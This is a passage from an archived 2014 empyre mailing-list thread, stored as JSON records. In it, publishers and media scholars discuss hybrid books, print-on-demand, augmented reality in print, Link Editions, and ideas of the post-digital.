                                "content": "Dear all,\nThank you for all the inputs an the generosity of sharing valuable\ninformation to enhance the conversation and to learn from each other.\nI have been following with lots of interest this discussion, as publisher\nmyself and having several questions on the transformation of the publishing\nfield in the current times, let's say pre-digital, digital and post-digital.\n\nTo contextualize, we have an independent publishing house called\ndpr-barcelona [www-dpr-barcelona.com] specialised in architecture, theory\nand art. On the past years we have been researching on the concept of\n\"hybrid books\" with the combination of printed and digital by different\napproaches, including different formats that already have been mentioned by\nsome of you, such as e-Books, Print-on-Demand and enriched ePubs, among\nothers.\n\nI'll share here two case studies that, in my opinion are the closest we're\nreaching to the concept of *hybridization*, to hear your feedback about\nthem and join the conversation.\n\n1. The first one is the use of Augmented Reality interactions on a printed\nbook, to connect the paperback edition with the digital tools. The first\nexperiment we did was as contributors for Domus Magazine, where we proposed\nto the editor to include this technology in one of the articles we wrote.\nThe result was very dynamic and well received, as being an architecture and\ndesign magazine, the possibility to link videos and 3D-models using the\nprinted images to visualize them on any smart phone with the app [please\nwatch the video: https://vimeo.com/39580799]. After that we have used the\nsame technology in a few of our books, the interactions works really good\nbut maybe the most difficult part is how to communicate to our readers that\nthe printed book is enriched with this technology... I think even if people\nthink it's good or they talk about it, there are only few ones using it;\nand this fact opens lots of questions in our minds.\n\n2. The second case study is what we call \"*multiplatform* projects\". The\nmost recent one is *The Kent State Forum on the City: MADRID*, which\nincludes Book + Web + App, all of them complementary and inter-connected,\ntrying to enhance information exchange. The book also contains Augmented\nReality features accessible through mobile devices. Here we try to share\ndifferent contents depending on the platform and try to avoid repetition of\ncontents in order to exploit the tool according to its possibilities. This\nproject is so new that I can't yet share with you if it's successful or\nnot, not talking about commercial issues but focusing (as part of this\ndiscussion) on how people use the different platforms and to envision what\nwe can learn from this experiment.\nMore info: http://www.ksuforumonthecity.com/\n\nI really appreciate to be reading all your experiences and wanted to share\nours, so we all can learn from each others.\n\nBest regards,\nEthel\n---\nEthel Baraona Pohl | dpr-barcelona <http://www.dpr-barcelona.com/>\nCurator Think Space MONEY <http://www.think-space.org/en/theme/money_2013/>\ntwitter @ethel_baraona <https://twitter.com/ethel_baraona> |\nabout.me<http://about.me/ethel_baraona>\n(+34) 626 048 684\n\n*Before you print think about the environment*\n\n\nOn Wed, Feb 12, 2014 at 9:09 AM, Domenico Quaranta <\nquaranta.domenico at gmail.com> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Dear empyreans,\n>\n> I have been producing content for books, catalogues and magazines for a\n> while, but if Michael kindly invited me in this discussion on empyre, it is\n> because, at some point, I became an editor and publisher. In the following,\n> I will try to explain shortly how it happened, because it can be useful to\n> introduce you to the approach and structure of Link Editions (\n> http://editions.linkartcenter.eu/).\n>\n> In 2011, while working with some partners on setting up the Link Center\n> for the Arts of the Information Age (the no-profit organization behind Link\n> Editions), I started collecting ideas for a personal side project. I wanted\n> to go through the texts I wrote for magazines, catalogues and blogs in\n> previous years, select the ones that were still meaningful to me, edit them\n> (most of them were badly translated in English by third parties), publish\n> an anthology and remove everything from my website. I felt it was time to\n> review this material, take it off from the fluidity of the internet, and\n> make it more readable: a better formatting, a better design, a better\n> indexing. Self-editing with a bit of make-up.\n>\n> I didn't know how to do it, but I knew that I didn't want to submit it to\n> a publishing house. At the time, I had just published a book in Italian,\n> and even if it was a wonderful experience, I didn't see any advantage in\n> following the same path again. Maybe if you are a better writer it goes\n> differently, but with my 2010 book what happened was that (1) I gave all\n> the rights on the book to the publisher (2) for almost no money and for (3)\n> 30 free copies of my book. Since then, (4) I can't put the pdf online for\n> free, (5) I have no control on distribution and (6) I can have a rough idea\n> about how sales are going only through the (rather opaque) filter of the\n> publisher. I can't even allow my students to make photocopies, even if I do\n> it all the time.\n>\n> So, I started exploring print-on-demand platforms, and what I saw was very\n> interesting. With, for example, Lulu.com 1) I could keep my rights on the\n> book and choose the kind of license I wanted to apply to it; 2) I could\n> potentially make money, or decide on my own - not because I was forced by a\n> contract - that I didn't want to make money at all; 3) I could buy as many\n> books I wanted at author's price; 4) I could circulate the book in digital\n> form, even on the same platform, without any restriction; 5) I couldn't be\n> in my neighborhood bookstore, but I could access some of the biggest\n> bookstores in the world, and 6) I could keep track of sales and downloads.\n> I could even send the download link to monoskop, and spread the digital\n> file through my students. Of course, print-on-demand platforms have their\n> faults too, but at least everything that made me upset in traditional\n> publishing seemed to be healed there.\n>\n> From here to Link Editions, the step was short. I talked about all this to\n> my partners, and they agreed to set up a publishing initiative grounded in\n> print-on-demand and free download. I published my book, In Your Computer,\n> in May 2011. By September 2011, three other books were released: Random, by\n> Valentina Tanni; In My Computer # 1, by Miltos Manetas; and the catalogue\n> of the first exhibition produced by the Link Art Center, Collect the\n> WWWorld. The Artist as Archivist in the Internet Age. Feel free to download\n> all of them.\n>\n> With these books, our three main book collections were born. \"Clouds\" is\n> both an attempt to allow other writers the kind of freedom I experienced\n> working outside of traditional publishing, and to bring to shelves some\n> good theoretical writing that meets our interests as an institution. \"In My\n> Computer\" is a kind of concept magazine, inviting artists to share\n> meaningful content stored in their hard drive (or in the cloud) that for\n> some reason never got released, and that can be meaningful in book form.\n> \"Catalogues\" collects our monographs and exhibition catalogues. Recently\n> Link Editions started being an interesting platform also for other\n> organizations, and we are exploring different modes of co-publishing. These\n> books are filed under \"Open\".\n>\n> Simply put, Link Editions is an attempt to conceal the advantages of self\n> publishing with the ones of working with a publishing house. One of the\n> faults of POD platforms is the lack of a context around the book you\n> publish. Of course, you can use categories and tags in order to index your\n> book and make it easy to retrieve. But how many people look for books this\n> way? Landing on Lulu.com is like entering a giant bookstore, with thousands\n> of bad books welcoming you at the entrance, and with an unreliable indexing\n> system. You head to the art shelf and you see calendars; you look for the\n> contemporary art shelf and you see self produced portfolios; you look\n> closer for \"new media art\" books and you find ten bad ones - the best one\n> is actually indexed under Essays > Photography, and, if you spend a whole\n> day there, you may be able to find a great artist book under \"Software and\n> code\".\n> Another problem, when you self-publish a book, is your lack of\n> professionalism. You may be a good writer, but still need an editor and a\n> proof reader for your contents, and a good designer for your book. With\n> Link Editions, we tried to bypass these problems without rebuilding the\n> barriers someone experiences when working with a traditional publisher. We\n> offer to our authors our editing and design expertise; due to our weak\n> economic model, we can't design all the books we publish, but we try to\n> keep an high level of quality. We set a low income for Link Editions that\n> basically pays back the expenses produced by the initiative, and we offer\n> all books in free download; everything is done in a very transparent way,\n> and authors are always free to request statistics on their sales /\n> downloads, as well as to but their books at author's price through our\n> account. It's basically like self publishing, but with a professional\n> assistance, and delivering the book in a context that becomes\n>   more interesting and rewarding for us and for authors any time a new\n> book is published.\n>\n> Sorry for the long presentation post, but I assumed that my role in this\n> conversation was more that of presenting a concrete \"case study\", than that\n> of addressing the interesting topics raised in the first part of this\n> discussion. Hopefully I will be able to say something about them later on.\n>\n> My warm regards,\n> Domenico\n>\n> ---\n>\n> Domenico Quaranta\n>\n> email: quaranta.domenico at gmail.com\n> skype: dom_40\n>\n> http://domenicoquaranta.com\n> http://www.linkartcenter.eu\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140212/905468cb/attachment.htm>\n",
                                "date": "Thu Feb 13 00:12:42 EST 2014",
                                "message-id": "6943",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006943.html",
                                "content-type": "n/a",
                                "author_name": "Ethel Baraona Pohl",
                                "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
                            },
                            {
                                "author_name": "Michael Dieter",
                                "from": "M.J.Dieter at uva.nl",
                                "id": "6947",
                                "content": "Hi Domenico,\n\nThanks for grounding the conversation a bit with some background\ninformation about Link Editions. From your description, the move to\nstart working with POD and ebooks seems to have been lead by a range\nof motives - some of which were pragmatic, experimental, somewhat\nintuitive and already informed by your experience as a curator.\n\nI imagine the freedom to experiment is one attractive aspect of this\nmodel. To a certain extent, as you imply, the content on these\nplatforms will only ever be as good as we make it, and the\npossibilities and affordances will remain unknown until we begin\nactively exploring them. In that respect, the series reminds me of the\nInstitute of Network Cultures Theory on Demand (ToD) series as a\nrelatively flexible and open channel for publishing (although the\nfocus content-wise is slightly different of course) -\nhttp://networkcultures.org/wpmu/theoryondemand/titles/. I know\nanecdotally that some traditional academic publishers have some desire\nto move into this kind of model, especially given the shift to\nmini-monographs and short essay collections more broadly. Editors at\nold school publication houses will often express a desire to innovate\nand experiment, but that they are restricted to their existing\nfinancial arrangements, professional relationships, tools and\npublishing workflows. There's a lot of anxiety there, but presumably\nthis approach would allow them to open things up, even just a little\nbit as an offshoot series. It would also allow for existing content to\nbe repackaged and repurposed quite easily, as Link Editions and ToD\ndemonstrate. This already seems like a more viable model than\nnetworked books, apps or anything involving multimedia.\n\nThat said, something about your move into becoming a publisher appears\nto be informed by your wider concerns with the location of art today,\nsomething you've written about in terms of the so-called digital\ndivide between media and contemporary art practices (in addition to\ntheir disassociations with digital and networked modes of cultural\nproduction at large). Elsewhere, you've described the \"baggage of\nignorance (technological on one hand, artistic on the other)\" that's\nstructured a lot of problems and misunderstandings in\nmedia/contemporary art contexts, especially when it comes to the\nembedded discourses attached to residual and emergent cultural\ninstitutions. I wonder whether you've encountered comparable baggage\nin your experience with publishing? Certainly, the trial of putting\nout your first book with a traditional publisher runs at odds with the\ngoal of actively expanding frameworks, conversations and imaginaries\nfor what contemporary art might mean, but can you say something about\nhow you've seen these works received in different contexts? Do these\npublications end up in unexpected settings and contexts? How far and\nwide do they travel to reach diverse audiences? Perhaps you've got\nsome interesting stories and insights here.\n\nSome other quick follow up questions: Link Editions seems to have been\nborn from an archival impulse; to what extent have, for instance,\nlibraries acquired print copies of these publications? Is that\nsomething you're interested in pursuing? Have you also considered\nfeeding back this publishing momentum into print distribution for\ngalleries or more specialty bookshops beyond the Lulu.com platform?\nWould it make sense to do so?\n\nCheers,\n\n- M.\n\nOn Wed, Feb 12, 2014 at 9:09 AM, Domenico Quaranta\n<quaranta.domenico at gmail.com> wrote:\n> ----------empyre- soft-skinned space----------------------\n> Dear empyreans,\n>\n> I have been producing content for books, catalogues and magazines for a while, but if Michael kindly invited me in this discussion on empyre, it is because, at some point, I became an editor and publisher. In the following, I will try to explain shortly how it happened, because it can be useful to introduce you to the approach and structure of Link Editions (http://editions.linkartcenter.eu/).\n>\n> In 2011, while working with some partners on setting up the Link Center for the Arts of the Information Age (the no-profit organization behind Link Editions), I started collecting ideas for a personal side project. I wanted to go through the texts I wrote for magazines, catalogues and blogs in previous years, select the ones that were still meaningful to me, edit them (most of them were badly translated in English by third parties), publish an anthology and remove everything from my website. I felt it was time to review this material, take it off from the fluidity of the internet, and make it more readable: a better formatting, a better design, a better indexing. Self-editing with a bit of make-up.\n>\n> I didn't know how to do it, but I knew that I didn't want to submit it to a publishing house. At the time, I had just published a book in Italian, and even if it was a wonderful experience, I didn't see any advantage in following the same path again. Maybe if you are a better writer it goes differently, but with my 2010 book what happened was that (1) I gave all the rights on the book to the publisher (2) for almost no money and for (3) 30 free copies of my book. Since then, (4) I can't put the pdf online for free, (5) I have no control on distribution and (6) I can have a rough idea about how sales are going only through the (rather opaque) filter of the publisher. I can't even allow my students to make photocopies, even if I do it all the time.\n>\n> So, I started exploring print-on-demand platforms, and what I saw was very interesting. With, for example, Lulu.com 1) I could keep my rights on the book and choose the kind of license I wanted to apply to it; 2) I could potentially make money, or decide on my own - not because I was forced by a contract - that I didn't want to make money at all; 3) I could buy as many books I wanted at author's price; 4) I could circulate the book in digital form, even on the same platform, without any restriction; 5) I couldn't be in my neighborhood bookstore, but I could access some of the biggest bookstores in the world, and 6) I could keep track of sales and downloads. I could even send the download link to monoskop, and spread the digital file through my students. Of course, print-on-demand platforms have their faults too, but at least everything that made me upset in traditional publishing seemed to be healed there.\n>\n> From here to Link Editions, the step was short. I talked about all this to my partners, and they agreed to set up a publishing initiative grounded in print-on-demand and free download. I published my book, In Your Computer, in May 2011. By September 2011, three other books were released: Random, by Valentina Tanni; In My Computer # 1, by Miltos Manetas; and the catalogue of the first exhibition produced by the Link Art Center, Collect the WWWorld. The Artist as Archivist in the Internet Age. Feel free to download all of them.\n>\n> With these books, our three main book collections were born. \"Clouds\" is both an attempt to allow other writers the kind of freedom I experienced working outside of traditional publishing, and to bring to shelves some good theoretical writing that meets our interests as an institution. \"In My Computer\" is a kind of concept magazine, inviting artists to share meaningful content stored in their hard drive (or in the cloud) that for some reason never got released, and that can be meaningful in book form. \"Catalogues\" collects our monographs and exhibition catalogues. Recently Link Editions started being an interesting platform also for other organizations, and we are exploring different modes of co-publishing. These books are filed under \"Open\".\n>\n> Simply put, Link Editions is an attempt to conceal the advantages of self publishing with the ones of working with a publishing house. One of the faults of POD platforms is the lack of a context around the book you publish. Of course, you can use categories and tags in order to index your book and make it easy to retrieve. But how many people look for books this way? Landing on Lulu.com is like entering a giant bookstore, with thousands of bad books welcoming you at the entrance, and with an unreliable indexing system. You head to the art shelf and you see calendars; you look for the contemporary art shelf and you see self produced portfolios; you look closer for \"new media art\" books and you find ten bad ones - the best one is actually indexed under Essays > Photography, and, if you spend a whole day there, you may be able to find a great artist book under \"Software and code\".\n> Another problem, when you self-publish a book, is your lack of professionalism. You may be a good writer, but still need an editor and a proof reader for your contents, and a good designer for your book. With Link Editions, we tried to bypass these problems without rebuilding the barriers someone experiences when working with a traditional publisher. We offer to our authors our editing and design expertise; due to our weak economic model, we can't design all the books we publish, but we try to keep an high level of quality. We set a low income for Link Editions that basically pays back the expenses produced by the initiative, and we offer all books in free download; everything is done in a very transparent way, and authors are always free to request statistics on their sales / downloads, as well as to but their books at author's price through our account. It's basically like self publishing, but with a professional assistance, and delivering the book in a context that becomes\n>   more interesting and rewarding for us and for authors any time a new book is published.\n>\n> Sorry for the long presentation post, but I assumed that my role in this conversation was more that of presenting a concrete \"case study\", than that of addressing the interesting topics raised in the first part of this discussion. Hopefully I will be able to say something about them later on.\n>\n> My warm regards,\n> Domenico\n>\n> ---\n>\n> Domenico Quaranta\n>\n> email: quaranta.domenico at gmail.com\n> skype: dom_40\n>\n> http://domenicoquaranta.com\n> http://www.linkartcenter.eu\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n\n\n\n-- \nMichael Dieter\nLecturer\nMedia Studies\nThe University of Amsterdam\nTurfdraagsterpad 9\n1012 XT Amsterdam\nhttp://home.medewerker.uva.nl/m.j.dieter/\n",
                                "date": "Thu Feb 13 19:56:54 EST 2014",
                                "message-id": "6947",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006947.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "quaranta.domenico at gmail.com",
                                        "id": "6950",
                                        "content": "Dear Michael,\n\nthanks for your reply and your questions!\n\n\n> That said, something about your move into becoming a publisher appears\n> to be informed by your wider concerns with the location of art today,\n> something you've written about in terms of the so-called digital\n> divide between media and contemporary art practices\n\n\nof course, any time you start producing content of any kind, you do it\nbecause you see room for that - to fill a hole, so to speak. In Italy,\nthere is very little literature about art and new media, and just a few of\nthe books I enjoy in English are translated, often quite lately. That said,\nLink Editions publishes mainly in English for an international audience\nthat have access to a wide literature on this subject. What I felt was\nmissing, and what the \"Clouds\" series is trying to offer, was a fast\ntranslation of the vast literature we experience online in the shape of a\nbook. Most of what we read today is on a screen. Sometimes, a blog post or\na short essay published online has a stronger impact than a book or an\narticle on a printed magazine. But the web is fluid, permalinks decade,\nretrieving content that we forgot to save, archive, tag or post to Facebook\nis hard. A book - be it a paperback or a digital file - is more reliable;\nit lasts longer, and can be quoted years later.\n\n\n> how you've seen these works received in different contexts? Do these\n> publications end up in unexpected settings and contexts? How far and\n> wide do they travel to reach diverse audiences? Perhaps you've got\n> some interesting stories and insights here.\n>\n\nOne of the faults of working online is that you don't hear stories, you\njust see facts and figures. I can tell you that the books have been\ndownloaded and bought from all over the world, mostly from the US, Europe\nand Australia, and that the proportion between free downloads and sales is\nmore or less 1:10; I can tell you that bookstores don't like to buy from\nLulu - so they don't buy our books, even if we offer them to buy at\nauthor's price; but the only feedback I get comes from people that bought\nor downloaded the books, when I meet them. Also, it's funny when I make a\npresentation and say \"you can buy the paperback or download the book for\nfree\" - many people still look at me like if I was an alien...\n\n\n> Some other quick follow up questions: Link Editions seems to have been\n> born from an archival impulse; to what extent have, for instance,\n> libraries acquired print copies of these publications? Is that\n> something you're interested in pursuing? Have you also considered\n> feeding back this publishing momentum into print distribution for\n> galleries or more specialty bookshops beyond the Lulu.com platform?\n> Would it make sense to do so?\n>\n\nIt would definitely make sense, even if it has been, so far, quite hard to\ndo. We don't have the budget to buy copies and send them to selected\nbookstores or galleries, and we can't do donations to public libraries, but\nwe suggest to do it to people that download our books for free (a strategy\nwe learnt from Cory Doctorow). It has been possible for specific\npublications, though. The F.A.T. Manual was co-produced with MU, Eindhoven\nand supported by XPO Gallery, Paris - they both have copies for sale. Soon,\nyou will be able to find some Link Editions books at Eyebeam, New York.\nHopefully in the future we will work more on this.\nTalking about the archival impulse, of course you are right. But it's not\njust about libraries - I think disseminating the digital file goes in the\nsame direction. When I think that only 100 copies of \"Peer Pressure\" have\nbeen sold, but some thousands have been downloaded, I feel that this book\nis somehow \"safe\". I know, you don't always read what you downloaded, but\nyou always store it somewhere for later reading. Maybe at some point people\nwill start donating their old Kindles and Kobos to public libraries - and\nthey will accept them.\n\nMy bests,\nDomenico\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140213/26bde9ac/attachment.htm>\n",
                                        "date": "Fri Feb 14 09:07:13 EST 2014",
                                        "message-id": "6950",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006950.html",
                                        "content-type": "n/a",
                                        "author_name": "domenico quaranta",
                                        "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
                                    },
                                    {
                                        "from": "verlag at traumawien.at",
                                        "id": "6958",
                                        "content": "1 Literary Trojan Horses\n2 Augmented Reality\n3 Post-Digital\n4 Print on Demand\n\n1 Since our Ghostwriters (\nhttp://www.techdirt.com/articles/20120613/03584719300/amazon-deletes-ebooks-automatically-generated-youtube-comments-leaving-many-questions-unanswered.shtml)\nIntervention we put a great effort in manipulating huge bunchs of text\nalgorithmically. During the whole last year we have been working on an\nalgorithm to contaminate contents by subversively contaminatig them with\nadvertising. This is focused on german ebook piracy mechanisms which turn\not to be by far most progressive experiments in terms of distribution. Just\nfor the case as they also constantly invent alternative economic systems,\nalways on nomadic moves, where they curate contents, as opposed to raw\nbunches of material like all german bestellers at once like this 1 >\nhttp://thepiratebay.se/torrent/9150293/42.000_deutsche_epub_eBooks_(42.740_eBooks_komplettes_Boox.to-Ar[decide\nif they are what they are labeled, by your self]. If you are\ninterested, a driving force behind ever changing 'domains of distribution'\nhere has been and still is 'spiegelbest', here is an essential interview\nwith him > http://traumawien.at/stuff/texts/interview-mit-einem-buchpiraten/,\nalso he has a blog where he writes about where the scene locates at the\nmoment. They truly are always on the move, and they are huge and that s why\ni wonder why this discussion is so much skipped in publishing.\n\n2 Augmented Reality. To me AR still is the most close to working science\nfiction concept in digital and i am highly fascinated thinking about it. To\nput it short > as long as we need our hands for computers, we'll have to\nwait, and no, i don't like 'glasses'. We have been greatly influenced here\nby the fantastic Mez Breeze Blog Augmentology which stopped in 2010 >\nhttp://arsvirtuafoundation.org/research/\nWe are open to any collaborations here. Please contact. We have our own\nsoftware and some Scheme concepts. AR does need a lot of work.\n\n3 Post-Digital. After reading the mails from last week i asked my friend\nabout 'post-digital' and he said 'Alzheimers'. I thought this was\nsomething, as it brought up the human connection, which i completely miss\nin your notes. Also, it could be turned in as the 'space left by the\nabsence of the digital' - a generative amnesia, sort of. Unlearning\nlearning, Tech drugs and the Kurzweil Cyborg, all the archives etc come in\nhere. Just my thoughts without juggle-stretch terms too much.\n\n4 Pod. We, of course, used pod in the beginning for most of the reasons\nDomenico listed. Still, in June 2012, when Amazon terminated our Accounts\nlife-long because of the 'Ghostwriters' Intervention, we decided to not use\npod (and it's Amazon gateway) anymore and instead have our books printed\nlocally, in limited runs of 50-100. Our orderings through Lulu where really\nmarginal and their quality was just bad. Not to mention tax and check\nissues with the US you suddenly have to deal with. To have our backlist (\nhttp://traumawien.at/prints/) out of print is a thing, nowadays. Sticking\nback to great quality prints is also the (.) left by the absence of the\ndigital and therefore probably post-digital. Our posters, for example, are\nprinted at a letterpress in St. Gallen. We just want best, long lasting\nquality you can get, again. Those products are data carriers to survive.\n\nDon't get me wrong, but it will be true pod if espresso book machines\narrive to print the pdf at the copy shop around the corner.\n\nI am also having problems to use the word book in general for any digital\nprocesses. Just to avoid tedious (especially 'ebook') discussions.\n\n>>> Apologize for my late introduction. I have a familiy emergency here in\nswitzerland and been offline most of the last week. Also, this is written\nfrom a cafe. Hope to add more to the discussion, later. See you around, L\n\n\n\nOn Thu, Feb 13, 2014 at 11:07 PM, domenico quaranta <\nquaranta.domenico at gmail.com> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Dear Michael,\n>\n> thanks for your reply and your questions!\n>\n>\n>> That said, something about your move into becoming a publisher appears\n>> to be informed by your wider concerns with the location of art today,\n>> something you've written about in terms of the so-called digital\n>> divide between media and contemporary art practices\n>\n>\n> of course, any time you start producing content of any kind, you do it\n> because you see room for that - to fill a hole, so to speak. In Italy,\n> there is very little literature about art and new media, and just a few of\n> the books I enjoy in English are translated, often quite lately. That said,\n> Link Editions publishes mainly in English for an international audience\n> that have access to a wide literature on this subject. What I felt was\n> missing, and what the \"Clouds\" series is trying to offer, was a fast\n> translation of the vast literature we experience online in the shape of a\n> book. Most of what we read today is on a screen. Sometimes, a blog post or\n> a short essay published online has a stronger impact than a book or an\n> article on a printed magazine. But the web is fluid, permalinks decade,\n> retrieving content that we forgot to save, archive, tag or post to Facebook\n> is hard. A book - be it a paperback or a digital file - is more reliable;\n> it lasts longer, and can be quoted years later.\n>\n>\n>> how you've seen these works received in different contexts? Do these\n>> publications end up in unexpected settings and contexts? How far and\n>> wide do they travel to reach diverse audiences? Perhaps you've got\n>> some interesting stories and insights here.\n>>\n>\n> One of the faults of working online is that you don't hear stories, you\n> just see facts and figures. I can tell you that the books have been\n> downloaded and bought from all over the world, mostly from the US, Europe\n> and Australia, and that the proportion between free downloads and sales is\n> more or less 1:10; I can tell you that bookstores don't like to buy from\n> Lulu - so they don't buy our books, even if we offer them to buy at\n> author's price; but the only feedback I get comes from people that bought\n> or downloaded the books, when I meet them. Also, it's funny when I make a\n> presentation and say \"you can buy the paperback or download the book for\n> free\" - many people still look at me like if I was an alien...\n>\n>\n>> Some other quick follow up questions: Link Editions seems to have been\n>> born from an archival impulse; to what extent have, for instance,\n>> libraries acquired print copies of these publications? Is that\n>> something you're interested in pursuing? Have you also considered\n>> feeding back this publishing momentum into print distribution for\n>> galleries or more specialty bookshops beyond the Lulu.com platform?\n>> Would it make sense to do so?\n>>\n>\n> It would definitely make sense, even if it has been, so far, quite hard to\n> do. We don't have the budget to buy copies and send them to selected\n> bookstores or galleries, and we can't do donations to public libraries, but\n> we suggest to do it to people that download our books for free (a strategy\n> we learnt from Cory Doctorow). It has been possible for specific\n> publications, though. The F.A.T. Manual was co-produced with MU, Eindhoven\n> and supported by XPO Gallery, Paris - they both have copies for sale. Soon,\n> you will be able to find some Link Editions books at Eyebeam, New York.\n> Hopefully in the future we will work more on this.\n> Talking about the archival impulse, of course you are right. But it's not\n> just about libraries - I think disseminating the digital file goes in the\n> same direction. When I think that only 100 copies of \"Peer Pressure\" have\n> been sold, but some thousands have been downloaded, I feel that this book\n> is somehow \"safe\". I know, you don't always read what you downloaded, but\n> you always store it somewhere for later reading. Maybe at some point people\n> will start donating their old Kindles and Kobos to public libraries - and\n> they will accept them.\n>\n> My bests,\n> Domenico\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140215/73ea48c3/attachment.htm>\n",
                                        "date": "Sat Feb 15 21:48:33 EST 2014",
                                        "message-id": "6958",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006958.html",
                                        "content-type": "n/a",
                                        "author_name": "verlag at traumawien.at",
                                        "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
                                    },
                                    {
                                        "content-type": "n/a",
                                        "from": "M.J.Dieter at uva.nl",
                                        "id": "6970",
                                        "content": "Thanks for the post Lukas! I'm also a bit late responding so\napologies, but I did want to just pick up on this point quickly...\n\n\n>\n\"3 Post-Digital. After reading the mails from last week i asked my\nfriend about 'post-digital' and he said 'Alzheimers'. I thought this\nwas something, as it brought up the human connection, which i\ncompletely miss in your notes. Also, it could be turned in as the\n'space left by the absence of the digital' - a generative amnesia,\nsort of. Unlearning learning, Tech drugs and the Kurzweil Cyborg, all\nthe archives etc come in here. Just my thoughts without juggle-stretch\nterms too much.\"\n\nPost-digital brain damage - this is one of the more interesting\ndefinitions I've read! While I'm a bit skeptical of neurological\nexplanations for what the web has done to us ala Carr's Is Google\nMaking Us Stupid, continual partial awareness, overall cognitive\nfatigue and a sense of informationally-induced distraction is\nsomething I do recognize in myself. Sometimes I wonder if I'm just\ngetting older and have more responsibilities.\n\nThere is a real problem of our technologies being always on, too many\nbrowser tabs open, the smart phone buzzing an email update, the\ncontinual connection to social media streams - 24/7, real subsumption.\nOf course, there's the obvious pharmacological dimensions of the info\nattention economy as well, the rise of ADHD diagnoses, what Bifo\ntheorizes as the pharmacological character of the 'schizo-economy' -\nincluding the need for 'panic' to be alleviated through the use of\ncocaine, ritalin, speed, modafinil and other nootropics. Maybe\ndisciplinary software like Freedom and Anti-Social has something\npost-digital about it, or more accurately, Morozov's locked up router\ncable, smartphone and screwdrivers? That's the real neo-analogue\nresponse!\n\nIn any case, this backdrop of attention is crucial I think in terms of\nhow people deal with books today. It is something that Hayles, for\ninstance, has explored in her book How We Think within the context of\neducation and literary studies. Certainly, coping strategies have now\nalso become a major topic in the mainstream press, even when it comes\nto ebooks as well -\nhttp://www.nytimes.com/2014/01/05/books/review/how-do-e-books-change-the-reading-experience.html?_r=0\n\n- M.\n\n-- \nMichael Dieter\nLecturer\nMedia Studies\nThe University of Amsterdam\nTurfdraagsterpad 9\n1012 XT Amsterdam\nhttp://home.medewerker.uva.nl/m.j.dieter/\n",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006970.html",
                                        "message-id": "6970",
                                        "date": "Wed Feb 19 06:26:36 EST 2014",
                                        "list": "empyre",
                                        "author_name": "Michael Dieter",
                                        "subject": "[-empyre-] HYBRID BOOKWORK, Week Two - Paradoxical Publishing, Postmedia, Critical Aesthetics"
                                    },
                                    {
                                        "from": "verlag at traumawien.at",
                                        "id": "6976",
                                        "content": "Hi Michael thanks for the reply.\n\nI wasn't to put [3] as a kind of 'brain damage'. Was just an\n[alter]na[t]ive (yy my first actual use of mezangelle, it s coming) input\nwithout relying on hermetic academic backup too much. Also, i wouldn't want\nto turn the discussion to Nick Carr etc, just wanted to throw in sth. But -\nas the human factor is so much important to us, the question here would\nrather (and much more interesting) be, at what extent we are giving treats\nto the algorithms ourselves at what cost and return. Like in terms of how\nit RECURSIVELY learns from us as we teach it our whole cultural sphere and\nafter that - what is happening there as a post-something on the other side.\nAs the 1 obvious example: while algorithms are about to learn our language\nthrough form inputs etc, we are evolving a new written language ourselves.\nMaybe for it not to understand us anymore? Or while algorithmic transcripts\nof speech work almost perfect these days, we don't even listen to that\nspeech anymore (at least as we did), what for, if it is transcribed and\nrolled out and backuped. Or we don't listen to the speech anymore but make\na book of it just to have to have the option of the real back? Alzheimers\ndef is the wrong word, but how does that kind of negative space (meant as\nsth positive) look like and how do we act upon it?\n\nThe works collected by Silvio probably are a lot about what is is thrown\nback here. The exemplary American Psycho by Huff/Cabell is what is left\nafter algorithms went through handling 'culture'. Why do we make a book out\nof it and even party it and even exhibit it at the Jeu deu Paume in Paris?\nObviously, culture turns out to be something different and in that and many\nother cases, culture becomes nothing but advertising, as Lanier once put\nit. That kind of Number 1 SPAM, the whole pop-web works upon! At least it\nis what i learn about it and i think those algorithmic examples are much\nmore defining and important than artists books of conceptual writing, which\nbecame just too obvious (Push the 'make a book' button, out of that\nbreakfast plan).\n\nL\n\nForgot the best thing happened in 2013 was the postartpoets as an\noutstanding work of relational publishing performance. Starting here > >\nhttp://www.postartpoets.com/\n\n\nOn Tue, Feb 18, 2014 at 8:26 PM, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Thanks for the post Lukas! I'm also a bit late responding so\n> apologies, but I did want to just pick up on this point quickly...\n>\n>\n> >\n> \"3 Post-Digital. After reading the mails from last week i asked my\n> friend about 'post-digital' and he said 'Alzheimers'. I thought this\n> was something, as it brought up the human connection, which i\n> completely miss in your notes. Also, it could be turned in as the\n> 'space left by the absence of the digital' - a generative amnesia,\n> sort of. Unlearning learning, Tech drugs and the Kurzweil Cyborg, all\n> the archives etc come in here. Just my thoughts without juggle-stretch\n> terms too much.\"\n>\n> Post-digital brain damage - this is one of the more interesting\n> definitions I've read! While I'm a bit skeptical of neurological\n> explanations for what the web has done to us ala Carr's Is Google\n> Making Us Stupid, continual partial awareness, overall cognitive\n> fatigue and a sense of informationally-induced distraction is\n> something I do 